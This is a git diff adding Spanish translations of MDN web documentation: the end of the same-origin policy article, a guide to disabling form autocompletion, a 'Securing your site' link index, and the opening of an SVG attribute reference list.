+<p>Por ejemplo, <code>about:blank</code> a menudo se usa como URL de nuevas ventanas popup en las que el script padre escribe contenido (por ejemplo mediante el mecanismo {{domxref("Window.open()")}}). Si este popup además contiene JavaScript, ese escript heredará el mismo origen que el script que lo ha creado.</p>
+</div>
+
+<p> </p>
+
+<div class="blockIndicator warning">
+<p><code>data:</code> URLs obtienen un nuevo, vacío, contexto de seguridad.</p>
+</div>
+
+<h3 id="Excepciones_en_Internet_Explorer" style="line-height: 30px;">Excepciones en Internet Explorer</h3>
+
+<p>Internet Explorer tiene dos excepciones mayores en lo que se refiere a la política same-origin</p>
+
+<ul>
+ <li>Zonas de Confianza: si ambos dominios pertenecen a una zona de alta confianza e.g, dominios corporativos, entonces las limitaciones del mismo origen no son aplicadas.</li>
+ <li>Puerto: IE no incluye puerto en los componentes de Same Origin, por lo tanto <span style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-size: 12px; line-height: normal;">http://company.com:81/index.html <span style="background-color: #ffffff; font-family: open sans,sans-serif; line-height: 21px;">y </span></span><span style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-size: 12px; line-height: normal;">http://company.com/index.html </span>se consideran del mismo origen y no se aplican restricciones.</li>
+</ul>
+
+<p>Estas excepciones no son estándar y no están soportadas en otro navegador pero son útiles cuando se desarrolla una app para Windows RT (o) basada en IE.</p>
+
+<h2 id="Cambiando_el_origen">Cambiando el origen</h2>
+
+<p>Una página puede cambiar su propio origen con algunas limitaciones. Un script puede asignar el valor de {{domxref("document.domain")}} al dominio actual o a un superdominio del dominio actual. Si se asigna a un superdominio del dominio actual, el dominio más corto es usado para las posteriores comprobaciones de origen. Por ejemplo, sea un script en <code>http://store.company.com/dir/other.html</code> que ejecuta lo siguiente:</p>
+
+<pre>document.domain = "company.com";
+</pre>
+
+<p>Tras su ejecución, la página puede pasar la comprobación de origen con <code>http://company.com/dir/page.html</code> (asumiendo que <code>http://company.com/dir/page.html</code> asigna su <code>document.domain</code> a "<code>company.com</code>" para indicar que desea hacerlo - ver {{domxref("document.domain")}} para más información). Sin embargo, <code>company.com</code> <strong>no</strong> podría asignar <code>document.domain</code> a <code>othercompany.com</code> ya que no es un superdominio de <code>company.com</code>.</p>
+
+<p>El número de puerto es guardado de forma separada por el navegador. Cualquier llamada al setter, incluyendo <code>document.domain = document.domain</code> causa que el número del puerto sea sobrescrito con <code>null</code>. Por lo tanto <strong>no se puede</strong> hacer que<code> company.com:8080</code> hable con  <code>company.com</code> solo asignando <code>document.domain = "company.com"</code> en el primero. Tiene que ser asignado en ambos para que los números de puerto sean <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Cuando se use <code>document.domain</code> para permitir a un subdominio acceder a su padre de forma segura, necesitas asignar <code>document.domain</code> al mismo valor tanto en el padre como en el subdominio. Esto es necesario incluso si solo se asigna el dominio padre a su valor original. Un fallo al hacer esto puede resultar en errores de permisos.</p>
+</div>
+
+<h2 id="Acceso_de_red_de_origen_cruzado">Acceso de red de origen cruzado</h2>
+
+<p>La política de mismo origen controla las interacciones entre dos orígenes diferentes, como cuando se usa {{domxref("XMLHttpRequest")}} o un elemento {{htmlelement("img")}}. Estas interacciones habitualmente se ubican en tres categorías:</p>
+
+<ul>
+ <li>Las escrituras Cross-origin<em> </em>normalmente se permiten. Como ejemplo tenemos los enlaces, redirecciones y envíos de formulario. Algunas peticiones HTTP raramente usadas requieren <a href="/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests" title="HTTP/Access_control_CORS#Preflighted_requests">preflight</a>.</li>
+ <li>La integración Cross-origin (<em>embedding) </em>normalmente se permite. Los ejemplos se listan debajo.</li>
+ <li>Las lecturas Cross-origin habitualmente no se permiten, pero el acceso de lectura es a menudo filtrado mediante integración. Por ejemplo, puedes leer el ancho y el alto de una imagen integrada, las acciones de un script integrado, o la <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094" title="https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">disponibilidad de un recurso integrado</a>.</li>
+</ul>
+
+<p>Aquí hay algunos ejemplos de recursos que pueden ser orígen cruzado incrustado:</p>
+
+<ul>
+ <li>JavaScript con <code>&lt;script src="..."&gt;&lt;/script&gt;</code>. Los mensajes de error para errores de sintaxis están solo disponibles para scripts de mismo origen.</li>
+ <li>CSS con <code>&lt;link rel="stylesheet" href="..."&gt;</code>. Debido a las <a href="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html" title="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html">reglas de sintaxis relajadas</a> de CSS, un CSS de origen cruzado requiere de una cabecera <code>Content-Type</code> correcta. Las restricciones varían según el navegador: <a href="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx">IE</a>, <a href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html" title="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a href="http://code.google.com/p/chromium/issues/detail?id=9877" title="http://code.google.com/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="http://support.apple.com/kb/HT4070" title="http://support.apple.com/kb/HT4070">Safari</a> (bajar hasta CVE-2010-0051) y <a href="http://www.opera.com/support/kb/view/943/" title="http://www.opera.com/support/kb/view/943/">Opera</a>.</li>
+ <li>Imágeness con {{htmlelement("img")}}. Los formatos de imagen soportados incluyen PNG, JPEG, GIF, BMP, SVG, ...</li>
+ <li>Archivos multimedia con {{htmlelement("video")}} y {{htmlelement("audio")}}.</li>
+ <li>Plug-ins con <a href="/en-US/docs/HTML/Element/object" title="HTML/Element/object"><code>&lt;object&gt;</code></a>, <a href="/en-US/docs/HTML/Element/embed" title="HTML/Element/embed"><code>&lt;embed&gt;</code></a> y <a href="/en-US/docs/HTML/Element/applet" title="HTML/Element/applet"><code>&lt;applet&gt;</code></a>.</li>
+ <li>Fuentes con <a href="/en-US/docs/CSS/@font-face" title="CSS/@font-face"><code>@font-face</code></a>. Algunos buscadores permiten fuentes de orígen cruzado, otros requieren fuentes de mismo orígen.</li>
+ <li>Cualquiera con <a href="/en-US/docs/HTML/Element/frame" title="HTML/Element/frame"><code>&lt;frame&gt;</code></a> and <a href="/en-US/docs/HTML/Element/iframe" title="HTML/Element/iframe"><code>&lt;iframe&gt;</code></a>. Un sitio puede usar la cabecera <code><a href="/en-US/docs/HTTP/X-Frame-Options" title="HTTP/X-Frame-Options">X-Frame-Options</a></code> para prevenir este tipo de interacción de orígen cruzado.</li>
+</ul>
+
+<h3 id="Cómo_permitir_el_acceso_de_origen_cruzado">Cómo permitir el acceso de origen cruzado</h3>
+
+<p>Usa <a href="/en-US/docs/HTTP/Access_control_CORS" title="HTTP/Access_control_CORS">CORS</a> para permitir el acceso de origen cruzado.</p>
+
+<h3 id="Cómo_bloquear_el_acceso_de_origen_cruzado">Cómo bloquear el acceso de origen cruzado</h3>
+
+<ul>
+ <li>Para prevenir escrituras de orígen cruzado, comprobar un token imposible de adivinar en la petición, conocido como token <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" title="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery (CSRF)</a>. Debes prevenir lecturas de orígen cruzado de páginas que conozcan este token.</li>
+ <li>Para prevenir lecturas de origen cruzado de un recurso, asegurar que no es incrustable. Frecuentemente es necesario prevenir incrustaciones debido a que al incrustar un recurso siempre se filtra alguna información sobre él.</li>
+ <li>Para prevenir incrustaciones de origen cruzado, asegurar que tu recurso no puede ser interpretado como uno de los formatos incrustables de arriba. El navegador no respeta el <code>Content-Type</code> en muchos casos. Por ejemplo, si señalas una etiqueta <code>&lt;script&gt;</code> en un documento HTML, el navegador tratará de interpretar el HTML como JavaScript. Cuando tu recurso no es un punto de entrada a tu sitio, puedes usar también un token CSRF para prevenir el incrustamiento.</li>
+</ul>
+
+<h2 id="Acceso_script_API_de_Origen_Cruzado">Acceso script API de Origen Cruzado</h2>
+
+<p>Las APIs de JavaScript APIs tales como <a href="/en-US/docs/DOM/HTMLIFrameElement" title="DOM/HTMLIFrameElement"><code>iframe.contentWindow</code></a>, {{domxref("window.parent")}}, {{domxref("window.open")}} y {{domxref("window.opener")}} permiten a los documentos referenciarse directamente entre ellos. Cuando dos documentos no tienen el mismo origen, estas referencias proveen un acceso muy limitado a los objetos <a href="/en-US/docs/Web/API/Window"><code>Window</code></a> y <a href="/en-US/docs/Web/API/Location"><code>Location</code></a>, como se describe en las siguientes dos secciones.</p>
+
+<p>Para una mayor comunicación entre documentos de origenes diferentes, usar {{domxref("window.postMessage")}}.</p>
+
+<h3 id="Window">Window</h3>
+
+<p>Especificación:  <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window">http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window</a>.</p>
+
+<p>Los siguientes accesos de origen-cruzado a las propiedades de <code>Window</code> están permitidos:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Métodos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.blur")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.close")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.focus")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.postMessage")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributos</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.closed")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.frames")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.length")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.location")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.opener")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.parent")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.self")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.top")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.window")}}</td>
+   <td>Solo lectura.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Algunos navegadores permiten el acceso a más propiedades de las que permite la especificación.</p>
+
+<h3 id="Location">Location</h3>
+
+<p>Especificación:  <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-location">http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-location</a>.</p>
+
+<p>Los siguientes accesos de origen cruzado a las propiedades de <code>Location</code> están permitidos:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Métodos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("location.replace")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributos</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("URLUtils.href")}}</td>
+   <td>Solo escritura.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Algunos navegadores permiten el acceso a más propiedades de las que permite la especificación.</p>
+
+<h2 id="Acceso_de_almacenamiento_de_datos_de_origen_cruzado">Acceso de almacenamiento de datos de origen cruzado</h2>
+
+<p>El acceso a datos almacenados en el navegador tales como <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> y <a href="/en-US/docs/IndexedDB">IndexedDB</a> son separados por origen. Cada origen obtiene su propio almacenamiento separado, y JavaScript en un origen no puede leer desde o escribir al almacenamiento perteneciente a otro origen.</p>
+
+<p>Las cookies usan una definición separada de orígenes. Una página puede asignar una cookie para su propio dominio o cualquier dominio padre, siempre que el dominio padre no sea un sufijo público. Firefox y Chrome usan la <a href="http://publicsuffix.org/">Lista de Sufijos Públicos</a> para determinar si un dominio es un sufijo público. Internet Explorer usa su propio método interno para determinar si un dominio es un sufijo públicio. El navegador hará disponible una cookie para el dominio dado incluyendo cualquier subdominio, no importa qué protocolo (HTTP/HTTPS) o puerto sea usado. Cuando asignas una cookie, puedes limitar su disponibilidad usando los flags Domain, Path, Secure y Http-Only. Cuando lees una cookie, no puedes ver desde dónde fue asignada. Incluso si sólo usas conexiones HTTPS, cualquier cookie que veas puede haber sido asignada usando una conexión insegura.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">Política </a><a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="Same-origin policy for file: URIs">Same-Origin para file: URIs</a></li>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">Política Same-Origin en W3C</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Información de Documento Original</h2>
+
+<ul>
+ <li>Autor(es): Jesse Ruderman</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/es/web/security/securing_your_site/desactivar_autocompletado_formulario/index.html b/files/es/web/security/securing_your_site/desactivar_autocompletado_formulario/index.html
new file mode 100644
index 0000000000..959d468392
--- /dev/null
+++ b/files/es/web/security/securing_your_site/desactivar_autocompletado_formulario/index.html
@@ -0,0 +1,77 @@
+---
+title: ¿Cómo desactivar el autocompletado del formulario?
+slug: Web/Security/Securing_your_site/desactivar_autocompletado_formulario
+tags:
+  - Desarrollo web
+  - Seguridad
+  - formulários
+translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion
+---
+<p><span class="seoSummary">Este artículo explica como un sitio web puede inhabilitar el autocompletado para los campos del formulario.</span></p>
+
+<p>Por defecto, los navegadores recuerdan información que el usuario envía a través de los campos <code><a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/input">input</a></code> en los sitios web. Esto habilita al navegador para ofrecer el autocompletado (P. Ej. Sugiere posibles completaciones para los campos que el usuario ha iniciado escribiendo) o el llenado automático (P. Ej. rellenar previamente ciertos campos al cargar).</p>
+
+<p>Estas caracteristicas pueden ser un problema de privacidad para los usuarios, ya que mientras los navegadores pueden permitir a los usuarios a inhabilitarlas, estos están usualmente habilitados por defecto. Como sea, alguna información enviada en los formularios no es tampoco útil en el futuro (P. Ej. a one-time pin) o contiene cierta información susceptible (P. Ej. un identificador único del gobierno o un código de seguridad de la tarjeta de crédito). Un sitio web podría preferir que el navegador no recuerde los valores de tales campos, incluso si la caracteristica del autocompletado del navegador este habilitada.</p>
+
+<h2 id="Desactivar_autocompletado">Desactivar autocompletado</h2>
+
+<p>Para desactivar el autocompletado en los formularios, un sitio web puede establecer el atributo {{htmlattrxref("autocomplete", "input")}} a "off":</p>
+
+<pre class="brush: html">autocomplete="off"</pre>
+
+<p>Puede hacer esto para un formulario entero o para elementos específicos de tipo "input" dentro del formulario:</p>
+
+<pre class="brush: html">&lt;form method="post" action="/form" autocomplete="off"&gt;
+[…]
+&lt;/form&gt;</pre>
+
+<pre class="brush: html">&lt;form method="post" action="/form"&gt;
+  […]
+  &lt;div&gt;
+    &lt;label for="cc"&gt;Credit card:&lt;/label&gt;
+    &lt;input type="text" id="cc" name="cc" autocomplete="off"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Estableciendo <code>autocomplete="off"</code> en los campos tiene dos efectos:</p>
+
+<ul>
+ <li>Impide que el navegador guarde los datos de los campos para un posterior autocompletado en formularios similares mediante heurísticas que varían según el navegador.</li>
+ <li>Evita que el navegador almacene en caché los datos del formulario en el historial de la sesión. Cuando los datos del formulario están almacenados en la caché del historial de la sesión, la información completada por el usuario será visible en caso de que el usuario haya enviado el formulario y haya hecho clic en el botón Atrás para volver a la página original del formulario.</li>
+</ul>
+
+<p>En algunos casos, el navegador continuará sugiriendo valores de autocompletado incluso si el atributo autocompletar está desactivado. Este comportamiento inesperado puede resultar bastante confuso para los desarrolladores. El truco para realmente no aplicar el autocompletado es asignar un valor no válido al atributo, por ejemplo:</p>
+
+<pre class="brush: html">autocomplete="nope"
+</pre>
+
+<p>Dado que este valor no es válido para el atributo autocompletar, el navegador no tiene forma de reconocerlo y deja de intentar autocompletarlo.</p>
+
+<h2 id="El_atributo_autocompletar_y_los_campos_de_inicio_de_sesión">El atributo autocompletar y los campos de inicio de sesión</h2>
+
+<p>Los navegadores modernos implementan un gestor de contraseñas integrado: cuando el usuario ingresa un nombre de usuario y contraseña para un sitio, el navegador le ofrece recordarlos. Cuando el usuario visita el sitio nuevamente, el navegador completa automáticamente los campos de inicio de sesión con los valores almacenados.</p>
+
+<p>Adicionalmente, el navegador permite al usuario elegir una contraseña maestra que utilizará para cifrar los datos de inicio de sesión almacenados.</p>
+
+<p>Incluso sin una contraseña maestra, el gestor de contraseñas integrado en el navegador generalmente se considera una ganancia para la seguridad. Como los usuarios no tienen que recordar las contraseñas que el navegador almacena para ellos, son capaces de escoger contraseñas más seguras de lo que lo harían.</p>
+
+<p>Por esta razón, muchos navegadores modernos no admiten autocompletar = "off" para los campos de inicio de sesión:</p>
+
+<ul>
+ <li>Si un sitio establece autocomplete="off" para un formulario, y este incluye campos de nombre de usuario o contraseña, entonces el navegador seguirá ofreciendo guardar los valores de estos, y si el usuario está de acuerdo, el navegador autocompletará automáticamente estos campos la próxima vez que el usuario visite la página.</li>
+ <li>Si un sitio configura autocomplete="off" para los campos de nombre de usuario y contraseña, entonces el navegador seguirá ofreciendo recordar este inicio de sesión, y si el usuario está de acuerdo, el navegador autocompletará automáticamente esos campos la próxima vez que el usuario visite la página.</li>
+</ul>
+
+<p>Este es el comportamiento en Firefox (desde la versión 38), Google Chrome (desde la 34) e Internet Explorer (desde la versión 11).</p>
+
+<p>Si un autor desea evitar el autocompletado de los campos de contraseña en las páginas de administración de usuarios donde un usuario puede especificar una nueva contraseña para alguien más que para si mismo, se debe especificar autocomplete="new-password", aunque el soporte para esto no se ha implementado todavía en todos los navegadores.</p>
+
+<h2 id="Uso_del_Plugin_de_jQuery_disableAutoFill">Uso del Plugin de jQuery disableAutoFill</h2>
+
+<p>Este complemento aleatorizará por defecto el nombre del atributo. Se restaurará al nombre del campo original al enviar el formulario. Esto es para evitar el autocompletado automático en todos los navegadores (incluye extensiones de auto-completado de terceros),no solo para Google Chrome. </p>
+
+<p>URL: <a href="https://github.com/terrylinooo/jquery.disableAutoFill">https://terrylinooo.github.io/jquery.disableAutoFill/</a></p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
+
+<p> </p>
diff --git a/files/es/web/security/securing_your_site/index.html b/files/es/web/security/securing_your_site/index.html
new file mode 100644
index 0000000000..d77f4622fe
--- /dev/null
+++ b/files/es/web/security/securing_your_site/index.html
@@ -0,0 +1,54 @@
+---
+title: Securing your site
+slug: Web/Security/Securing_your_site
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Security
+  - TopicStub
+  - Web Development
+translation_of: Web/Security/Securing_your_site
+---
+<p>{{ draft() }}</p>
+
+<p>Hay varias cosas que puede hacer para ayudar a proteger su sitio. Este artículo ofrece varias sugerencias, así como enlaces a otros artículos que proveen más información útil.</p>
+
+<p> </p>
+
+<div class="note"><strong>Note:</strong> This article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure.</div>
+
+<h2 id="User_information_security">User information security</h2>
+
+<dl>
+ <dt><a href="/en/How_to_Turn_Off_Form_Autocompletion" title="en/How to Turn Off Form Autocompletion">How to turn off form autocompletion</a></dt>
+ <dd>Form fields support autocompletion in Gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. For certain types of data, you may wish to disable this feature.</dd>
+ <dt><a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a></dt>
+ <dd>This article discusses changes made to the <code>getComputedStyle()</code> method that eliminates the ability for malicious sites to figure out the user's browsing history.</dd>
+ <dt><a href="https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet">Hash passwords using a secure algorithm</a> (OWASP)</dt>
+ <dd>Storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. The same issues can arise if you use an old or insecure algorithm for hashing (such as md5). You should use a password-specific hashing algorithm (such as Argon2, PBKDF2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). This article showcases best practices to use when storing passwords.</dd>
+</dl>
+
+<h2 id="Content_security">Content security</h2>
+
+<dl>
+ <dt><a href="/en/Properly_Configuring_Server_MIME_Types" title="en/Properly Configuring Server MIME Types">Properly configuring server MIME types</a></dt>
+ <dd>There are several ways incorrect MIME types can cause potential security problems with your site. This article explains some of those and shows how to configure your server to serve files with the correct MIME types.</dd>
+ <dt><a href="/en/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></dt>
+ <dd>The <code>Strict-Transport-Security:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> header lets a website specify that it may only be accessed using HTTPS.</dd>
+ <dt><a href="/En/HTTP_access_control" title="En/HTTP access control">HTTP access control</a></dt>
+ <dd>The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.</dd>
+ <dt><a href="/en/Security/CSP" title="en/Security/CSP">Content Security Policy</a></dt>
+ <dd>An added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/X-Frame-Options" title="en/The X-FRAME-OPTIONS response header">The X-Frame-Options response header</a></dt>
+ <dd>
+ <p>The <code>X-Frame-Options:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> response header can be used to indicate whether or not a browser should be allowed to render a page in a {{ HTMLElement("frame") }}. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.</p>
+ </dd>
+ <dt><a href="https://wparena.com/how-to-secure-and-protect-wordpress-website-through-htaccess-file/">Securing Your Site using Htaccess</a></dt>
+ <dd>Learn the best way and almost all the tricks to secure your site using the .htaccess file. You can blacklist IPs, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li>
+</ul>
diff --git a/files/es/web/svg/attribute/index.html b/files/es/web/svg/attribute/index.html
new file mode 100644
index 0000000000..2c8897445b
--- /dev/null
+++ b/files/es/web/svg/attribute/index.html
@@ -0,0 +1,467 @@
+---
+title: Referencia atributos SVG
+slug: Web/SVG/Attribute
+tags:
+  - Atributo SVG
+  - Dibujo
+  - Gráficos vectoriales
+  - SVG
+translation_of: Web/SVG/Attribute
+---
+<div>{{SVGRef}}</div>
+
+<p class="summary"><span class="seoSummary">Los elementos SVG pueden ser modificados usando atributos, especificando cómo debe ser manejado o renderizado el elemento</span> A continuación se muestra una lista de todos los atributos disponibles en SVG con sus respectivos enlaces a la documentación de referencia para ayudarte a comprender qué elementos los soportan y cómo funcionan</p>
+
+<h2 id="Atributos_SVG_de_la_A_a_la_Z">Atributos SVG de la A a la Z</h2>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{ SVGAttr("accent-height") }}</li>
+ <li>{{ SVGAttr("accumulate") }}</li>
+ <li>{{ SVGAttr("additive") }}</li>
+ <li>{{ SVGAttr("alignment-baseline") }}</li>
+ <li>{{ SVGAttr("allowReorder") }}</li>
+ <li>{{ SVGAttr("alphabetic") }}</li>
+ <li>{{ SVGAttr("amplitude") }}</li>
+ <li>{{ SVGAttr("arabic-form") }}</li>
+ <li>{{ SVGAttr("ascent") }}</li>
+ <li>{{ SVGAttr("attributeName") }}</li>
+ <li>{{ SVGAttr("attributeType") }}</li>
+ <li>{{ SVGAttr("autoReverse") }}</li>
+ <li>{{ SVGAttr("azimuth") }}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{ SVGAttr("baseFrequency") }}</li>
+ <li>{{ SVGAttr("baseline-shift") }}</li>
+ <li>{{ SVGAttr("baseProfile") }}</li>
+ <li>{{ SVGAttr("bbox") }}</li>
+ <li>{{ SVGAttr("begin") }}</li>
+ <li>{{ SVGAttr("bias") }}</li>
+ <li>{{ SVGAttr("by") }}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{ SVGAttr("calcMode") }}</li>
+ <li>{{ SVGAttr("cap-height") }}</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("clip") }}</li>
+ <li>{{ SVGAttr("clipPathUnits") }}</li>
+ <li>{{ SVGAttr("clip-path") }}</li>
+ <li>{{ SVGAttr("clip-rule") }}</li>
+ <li>{{ SVGAttr("color") }}</li>
+ <li>{{ SVGAttr("color-interpolation") }}</li>
+ <li>{{ SVGAttr("color-interpolation-filters") }}</li>
+ <li>{{ SVGAttr("color-profile") }}</li>
+ <li>{{ SVGAttr("color-rendering") }}</li>
+ <li>{{ SVGAttr("contentScriptType") }}</li>
+ <li>{{ SVGAttr("contentStyleType") }}</li>
+ <li>{{ SVGAttr("cursor") }}</li>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("decelerate") }}</li>
+ <li>{{ SVGAttr("descent") }}</li>
+ <li>{{ SVGAttr("diffuseConstant") }}</li>
+ <li>{{ SVGAttr("direction") }}</li>
+ <li>{{ SVGAttr("display") }}</li>
+ <li>{{ SVGAttr("divisor") }}</li>
+ <li>{{ SVGAttr("dominant-baseline") }}</li>
+ <li>{{ SVGAttr("dur") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{ SVGAttr("edgeMode") }}</li>
+ <li>{{ SVGAttr("elevation") }}</li>
+ <li>{{ SVGAttr("enable-background") }}</li>
+ <li>{{ SVGAttr("end") }}</li>
+ <li>{{ SVGAttr("exponent") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{ SVGAttr("fill") }}</li>
+ <li>{{ SVGAttr("fill-opacity") }}</li>
+ <li>{{ SVGAttr("fill-rule") }}</li>
+ <li>{{ SVGAttr("filter") }}</li>
+ <li>{{ SVGAttr("filterRes") }}</li>
+ <li>{{ SVGAttr("filterUnits") }}</li>
+ <li>{{ SVGAttr("flood-color") }}</li>
+ <li>{{ SVGAttr("flood-opacity") }}</li>
+ <li>{{ SVGAttr("font-family") }}</li>
+ <li>{{ SVGAttr("font-size") }}</li>
+ <li>{{ SVGAttr("font-size-adjust") }}</li>
+ <li>{{ SVGAttr("font-stretch") }}</li>
+ <li>{{ SVGAttr("font-style") }}</li>
+ <li>{{ SVGAttr("font-variant") }}</li>
+ <li>{{ SVGAttr("font-weight") }}</li>
+ <li>{{ SVGAttr("format") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("fr") }}</li>
+ <li>{{ SVGAttr("fx") }}</li>
+ <li>{{ SVGAttr("fy") }}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{ SVGAttr("g1") }}</li>
+ <li>{{ SVGAttr("g2") }}</li>
+ <li>{{ SVGAttr("glyph-name") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-horizontal") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-vertical") }}</li>
+ <li>{{ SVGAttr("glyphRef") }}</li>
+ <li>{{ SVGAttr("gradientTransform") }}</li>
+ <li>{{ SVGAttr("gradientUnits") }}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{ SVGAttr("hanging") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("href") }}</li>
+ <li>{{ SVGAttr("horiz-adv-x") }}</li>
+ <li>{{ SVGAttr("horiz-origin-x") }}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{ SVGAttr("id") }}</li>
+ <li>{{ SVGAttr("ideographic") }}</li>
+ <li>{{ SVGAttr("image-rendering") }}</li>
+ <li>{{ SVGAttr("in") }}</li>
+ <li>{{ SVGAttr("in2") }}</li>
+ <li>{{ SVGAttr("intercept") }}</li>
+</ul>
+
+<h3 id="K">K</h3>
+
+<ul>
+ <li>{{ SVGAttr("k") }}</li>
+ <li>{{ SVGAttr("k1") }}</li>
+ <li>{{ SVGAttr("k2") }}</li>
+ <li>{{ SVGAttr("k3") }}</li>
+ <li>{{ SVGAttr("k4") }}</li>
+ <li>{{ SVGAttr("kernelMatrix") }}</li>
+ <li>{{ SVGAttr("kernelUnitLength") }}</li>
+ <li>{{ SVGAttr("kerning") }}</li>
+ <li>{{ SVGAttr("keyPoints") }}</li>
